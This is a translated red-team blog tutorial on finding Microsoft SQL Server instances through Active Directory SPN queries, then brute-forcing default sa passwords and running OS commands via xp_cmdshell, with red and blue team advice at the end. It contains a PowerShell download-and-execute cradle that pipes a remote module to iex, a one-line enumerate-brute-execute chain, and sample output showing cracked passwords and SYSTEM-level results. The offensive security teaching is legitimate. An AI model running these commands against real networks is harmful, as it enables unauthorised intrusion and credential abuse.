Alphasec
PL

// lab · Red team

Powershell meets Microsoft SQL Server — attacking at scale

March 15, 2019Paweł Maziarzpowershell · redteam · mssql · windows · lowhangingfruits

Originally published on blog.aptmasterclass.com. The technical content still holds; the examples date from the time of writing.

// in short

This is a continuation of the Powershell Meets Microsoft SQL Server series: hunting for passwords and running commands in the OS.

Summary

Blue teamers, administrators, security folks, defenders - if you want to make life harder for pentesters and other hackers, run the command below, and run it on a regular schedule.

And you, pentesters, red teamers, hackers - if you want to grab the low-hanging fruit and deliver checkmate in three moves, let this two-liner earn a permanent place in your arsenal too.

Both groups will know exactly what to do with the results.

powershell
(new-object net.webclient).downloadstring("https://raw.githubusercontent.com/aptmasterclass/powershell-kungfu/master/mssql/MSSQLKungFu.psm1") | iex

Invoke-MSSQLSPNSearchBruteAndExec -Command whoami

Of course, before running it, review the contents of the bundled MSSQLKungFu.psm1 module

When this script runs in a domain environment, it locates MSSQL service instances, then checks a handful of obvious passwords, and wherever they work it runs a command that prints the account the service is running under.

A word of introduction

In the article on hunting for MSSQL passwords for the sa account, we saw how software vendors' documentation can help us track down those valuable credentials. In the next one, on running commands in the operating system, we used the superadmin credentials of a Microsoft SQL Server database, along with the existence of the xp_cmdshell procedure, to run an arbitrary command in the operating system. The fact that this procedure is usually disabled did not stop us in the slightest.

To make use of all this, though, we need to know where these services actually are.

Microsoft SQL servers, where are you?

Probably the first idea that comes to mind when we think about finding a service on the network is port scanning. Microsoft SQL Server traditionally listens on port 1433, but that is not a hard rule.

For small networks that is not a bad idea, but once we start thinking about large organizations that have dozens of subnets - or even just one, but a hefty one like 10.0.0.0/8 or even 192.168.0.0/16 - port scanning can take quite a while.

So what about large organizations, where Active Directory is the norm - how do we get a handle on all of this? Do we have any alternatives? Of course. The key word (or rather words) is Service Principal Names. Without going too deep into the details, here are the key points from the Microsoft documentation above:

A service principal name (SPN) is a unique identifier of a service instance.

[…]

If you install multiple instances of a service on computers throughout a forest, each instance must have its own SPN. A given service instance can have multiple SPNs if there are multiple names that clients might use for authentication. For example, an SPN always includes the name of the host computer on which the service instance is running, so a service instance might register an SPN for each name or alias of its host.

Additionally, the SPN format looks like this:

python
<service class>/<host>:<port>/<service name>

And one last important point from the Microsoft documentation on MSSQL and SPNs:

When an instance of the SQL Server Database Engine starts, SQL Server tries to register the SPN for the SQL Server service. When the instance is stopped, SQL Server tries to unregister the SPN. For a TCP/IP connection the SPN is registered in the format MSSQLSvc/<FQDN>:<tcpport>.Both named instances and the default instance are registered as MSSQLSvc, relying on the <tcpport> value to differentiate the instances.

To put it fairly simply, when a service in an AD environment starts up (we are talking about MSSQL servers in particular), it registers its Service Principal Name (SPN) so that it can be found. And since it can be found... we can find it. To find something, you have to know what you are looking for. What we are after has already been hinted at between the lines: we want SPNs in the MSSQLSvc class, that is MSSQLSvc/*.

In search of MSSQLSvc/*

The first approach is to use Active Directory Service Interfaces - ADSI for short. It is a set of COM interfaces that provides easy access to directory services. We can use it very simply thanks to the .NET DirectoryEntry class, which represents an AD node or object, and DirectorySearcher, which lets us search AD.

And here is a nice detail: to create a new object for searching AD we could write:

powershell
$domain = New-Object System.DirectoryServices.DirectoryEntry("")
$searcher = New-Object System.DirectoryServices.DirectorySearcher($domain)

We can, however, use PowerShell's type accelerators, specifically:

and shorten it to:

powershell
$searcher = [ADSISearcher]([ADSI]"")

So the plan is as follows: we search for objects whose servicePrincipalName contains the string MSSQLSvc, and from the objects found this way we pull all the SPNs, keeping only the ones related to MSSQL. From the results we extract the host name along with a potential port. In practice, it might look like this:

powershell
$spns = @()
$s = [ADSISearcher]([ADSI]"")
$s.filter = "(servicePrincipalName=MSSQLSvc/*)"

$s.FindAll() | % {
    $_.GetDirectoryEntry().servicePrincipalName -match "MSSQL"|% {
      $spns += $_.Split("/")[1]
    }
}
$spns

After running this we should get a list of registered MSSQL instances. With such a list we can go back to the previously discussed Invoke-MSSQLBrute.ps1 to check passwords.

Can it be done more concisely? Of course.

The power locked inside SetSPN.EXE

setspn.exe is a Windows tool that lets us perform various operations on SPN registrations in the domain - adding, removing, browsing. That's right, browsing. With the -Q option we can find the registered services we care about across different hosts. For example, to list all services on all hosts (I think this is a good candidate for one of the first commands to run on a compromised machine in AD during red teaming), you just run this on a domain-joined computer:

cmd
setspn -Q */*

Of course, it is worth redirecting this straight to a file - depending on the size of the domain there can be a really large number of results. And all of that in just a few seconds. Coming back to the services we are particularly interested in, namely MSSQL, to grab their list in the blink of an eye we can run the command:

cmd
setspn -Q MSSQLSvc/*

Makes sense, right? As a result of this command, setspn.exe will show us all the services on hosts where one of them is MSSQL, so we need to filter this a bit, and since the article title says Powershel…

powershell
(setspn -Q MSSQLSvc/*) -match "MSSQL" | % { $_.Trim() }

One last, cosmetic thing worth doing is removing the default port 1433 from the addresses and getting rid of duplicates.

powershell
(setspn -Q MSSQLSvc/*) -match "MSSQL" | % { $_.Trim() -Replace ':1433','' } | Get-Unique

A function that can use both approaches lives at Invoke-MSSQLSPNSearch.ps1. It takes just one parameter, which determines how it searches for services:

So, to find the registered MSSQL services from a computer in a domain environment, you can run one of these commands:

powershell
Invoke-MSSQLSPNSearch

Invoke-MSSQLSPNSearch -Method Powershell

Invoke-MSSQLSPNSearch -Method setspn

And now, if we recall the two earlier posts that gave rise to Invoke-MSSQLExec.ps1 and Invoke-MSSQLExec.ps1, we can run a combo like this:

powershell
Invoke-MSSQLSPNSearch | Invoke-MSSQLBrute | Invoke-MSSQLExec -Command whoami

If that is still too much typing, I have prepared a function that ties everything together into a single command, and now, to see how bad (or how good - it is always a matter of perspective) things are, all you need to do, after first importing the bundled MSSQLKungFu.psm1 module that contains all the functions created in this series, is run the Invoke-MSSQLSpnSearchBruteAndExec function, which might look like the following.

powershell
PS C:\> Invoke-MSSQLSPNSearchBruteAndExec | ft

Host                 User Password     Command Output
----                 ---- --------     ------- ------
2012r2.alphacorp.ad  sa   P@ssw0rd     whoami  nt authority\syst...
piotrpc.alphacorp.ad sa   Comarch!2011 whoami  nt authority\syst...

PS C:\>

And that's it. You already read the summary at the beginning. :)

I am very curious how many MSSQL servers you managed to run a command on in your own organizations this way.

Red team vs Blue team

Red team

  • Take a look at Red vs Blue from the post on default passwords
  • Take a look at Red vs Blue from the post on using xp_cmdshell
  • Keep the MSSQLKungFu.psm1 module handy, or equivalents such as a well-rehearsed use of Metasploit modules
  • SPNs are all well and good, but not every instance registers, so it is worth also manually looking for services on port 1433 and the ports around it

Blue team

  • Take a look at Red vs Blue from the post on default passwords
  • Take a look at Red vs Blue from the post on using xp_cmdshell
  • Every so often (e.g. once a week, once a month), and after verifying its sources beforehand, run the Invoke-MSSQLSPNSearchBruteAndExec function from the MSSQLKungFu.psm1 module - from experience I know that from time to time services like these pop up in the least expected places, putting the entire organization at risk

Want to practise this on live infrastructure with an instructor at your side? That is exactly what our APT Masterclass workshops and the PowerShell in CyberSecurity training are for.

Book a training
// from the discussion

What readers said

Threads carried over from the blog in full, in their original Polish. Comments are closed — got a remark or a question? Get in touch.